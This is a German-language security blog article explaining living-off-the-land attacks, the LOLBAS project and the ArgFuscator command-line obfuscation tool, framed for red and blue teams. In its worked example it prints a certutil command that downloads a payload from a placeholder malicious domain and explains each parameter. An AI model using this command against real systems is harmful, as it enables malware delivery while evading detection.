In der sich ständig weiterentwickelnden Landschaft der Cybersicherheit sind sowohl Angreifer als auch Verteidiger stets auf der Suche nach neuen Techniken, um einen Vorteil zu erlangen. Ein faszinierendes Tool, das im Februar 2025 vorgestellt wurde, ist ArgFuscator: eine Open-Source-Webanwendung und ein PowerShell-Modul, das vom Sicherheitsforscher Wietze entwickelt wurde. Das Tool generiert obfuskierte Befehlszeilen für Windows-Executables, um vor allem Verteidiger und Sicherheitslösungen wie Antivirus (AV) und Endpoint Detection and Response (EDR) zu frustrieren und manchmal sogar die Erkennung vollständig zu umgehen.
Die Kunst der Befehlszeilen-Verschleierung
Die Befehlszeilenverschleierung ist eine ausgeklügelte Technik, die von Bedrohungsakteuren eingesetzt wird, um ihre Aktivitäten zu verbergen und der Erkennung zu entgehen. Dies wird durch verschiedene Manipulationen erreicht, zu denen die Änderung von Zeichenketten, die Verschleierung von Dateipfaden und die Integration von Unicode-Zeichen gehören, um die wahre Natur von Befehlen zu maskieren. Viele Advanced-Persistent-Threat-(APT)-Gruppen sind dafür bekannt, solche Verschleierungstechniken als Kernbestandteil ihrer Angriffsmethoden einzusetzen.
Was muss man wissen?
Bevor wir uns mit ArgFuscator beschäftigen, sollte der Begriff „Living off the Land” (zu Deutsch etwa „vom Land leben”) erläutert werden. Dabei handelt es sich um eine Angriffstechnik, bei der Cyberkriminelle ausschließlich legitime, bereits auf einem System vorhandene Werkzeuge und Programme für ihre bösartigen Zwecke missbrauchen. Anstatt eigene Malware auf das Zielsystem zu schleusen, die von Antivirenprogrammen leichter erkannt werden könnte, nutzen sie die Bordmittel des Betriebssystems (wie PowerShell, WMI oder certutil.exe unter Windows) oder andere bereits installierte Software.
Hier kommt das LOLBAS-Projekt (Living Off the Land Binaries and Scripts) ins Spiel. Bei diesem von der Sicherheits-Community betriebenen Open-Source-Projekt wird dokumentiert, wie diese bordeigenen Windows-Programme (Binaries, Scripts, Libraries) für böswillige Zwecke missbraucht werden können.
Die zentrale Anlaufstelle dieses Projekts ist die Website https://lolbas-project.github.io/. Sie listet Hunderte von Windows-Dateien auf und beschreibt detailliert, wie jede einzelne für Aktionen missbraucht werden kann, für die sie ursprünglich nicht gedacht war. Verteidiger (Blue Teams) nutzen diese Datenbank, um verdächtige Aktivitäten besser zu erkennen und zu verstehen, während Angreifer (Red Teams) sie nutzen, um neue Angriffspfade zu finden.
Wie ArgFuscator funktioniert
Das folgende Beispiel soll eine mögliche Gefahr verdeutlichen: Certutil.exe ist ein legitimes Kommandozeilenprogramm in Windows, das eigentlich zur Verwaltung von Zertifikaten dient. Ein Blick in die LOLBAS-Datenbank zeigt jedoch, wie es von Angreifern zweckentfremdet werden kann.
Ein Angreifer hat bereits einen ersten Zugang zu einem System erlangt und möchte nun weitere Schadsoftware (z.B. einen Trojaner namens payload.exe) nachladen. Viele Unternehmen blockieren den direkten Download von .exe-Dateien über den Browser oder Firewalls. PowerShell-Downloads werden oft ebenfalls streng überwacht. Certutil.exehingegen wird selten blockiert. Der Angreifer kann nun folgenden, in der LOLBAS-Datenbank dokumentierten Befehl verwenden:
certutil.exe -urlcache -split -f "http://boesartige-domain.com/payload.exe" C:\temp\virus.exe
Was bedeuten die Parameter?
certutil.exe: Das legitime Windows-Tool wird aufgerufen.-urlcache -split -f: Diese Parameter weisen das Tool an, eine Datei von einer URL herunterzuladen und im Dateisystem zu speichern."http://boesartige-domain.com/payload.exe": Dies ist die Adresse, unter der die Schadsoftware liegt.C:\temp\virus.exe: Dies ist der Speicherort und der neue Name der heruntergeladenen Datei auf dem Zielsystem.
Für ein Sicherheitssystem sieht diese Aktion zunächst wie eine legitime Zertifikatsoperation aus. Tatsächlich wurde aber das System kompromittiert, indem eine Datei heruntergeladen wurde, ohne dass klassische Alarmglocken schrillen. Die LOLBAS-Datenbank liefert dem Angreifer also die exakte Syntax und Idee für diesen heimlichen Download.
Um die Absicht des Angreifers weiter zu verschleiern, kommt ArgFuscator ins Spiel. Das Tool wandelt den standardmäßig leicht erkennbaren Befehl in eine stark obfuskierte Version um. Während der ursprüngliche Befehl sofortige Warnungen auslösen könnte, ist sein obfuskierter Gegenpart für Sicherheitslösungen erheblich schwieriger zu identifizieren.

Fazit
ArgFuscator erweist sich als wertvolle Ressource für folgende offensive und defensive Sicherheitsexperten.
- Red Teaming/Penetration Testing: Auf der offensiven Seite ermöglicht Argfuscator die Emulation von Angreifertechniken und vermittelt so ein tieferes Verständnis dafür, wie Bedrohungsakteure in realen Szenarien agieren.
- Defensive Sicherheit (Blue Teaming): Verteidiger können dieses Tool nutzen, um die Wirksamkeit ihrer Erkennungsmechanismen gegen Befehlszeilen, die verschiedenen Verschleierungstechniken unterzogen wurden, rigoros zu testen. So können sie Lücken in ihrer Sicherheitslage identifizieren und ihre Erkennungsregeln verfeinern.
Das folgende interessante Video von John Hammond, das die Zusammenhänge erklärt und ein praktisches Beispiel bringt, ist sehr zu empfehlen.
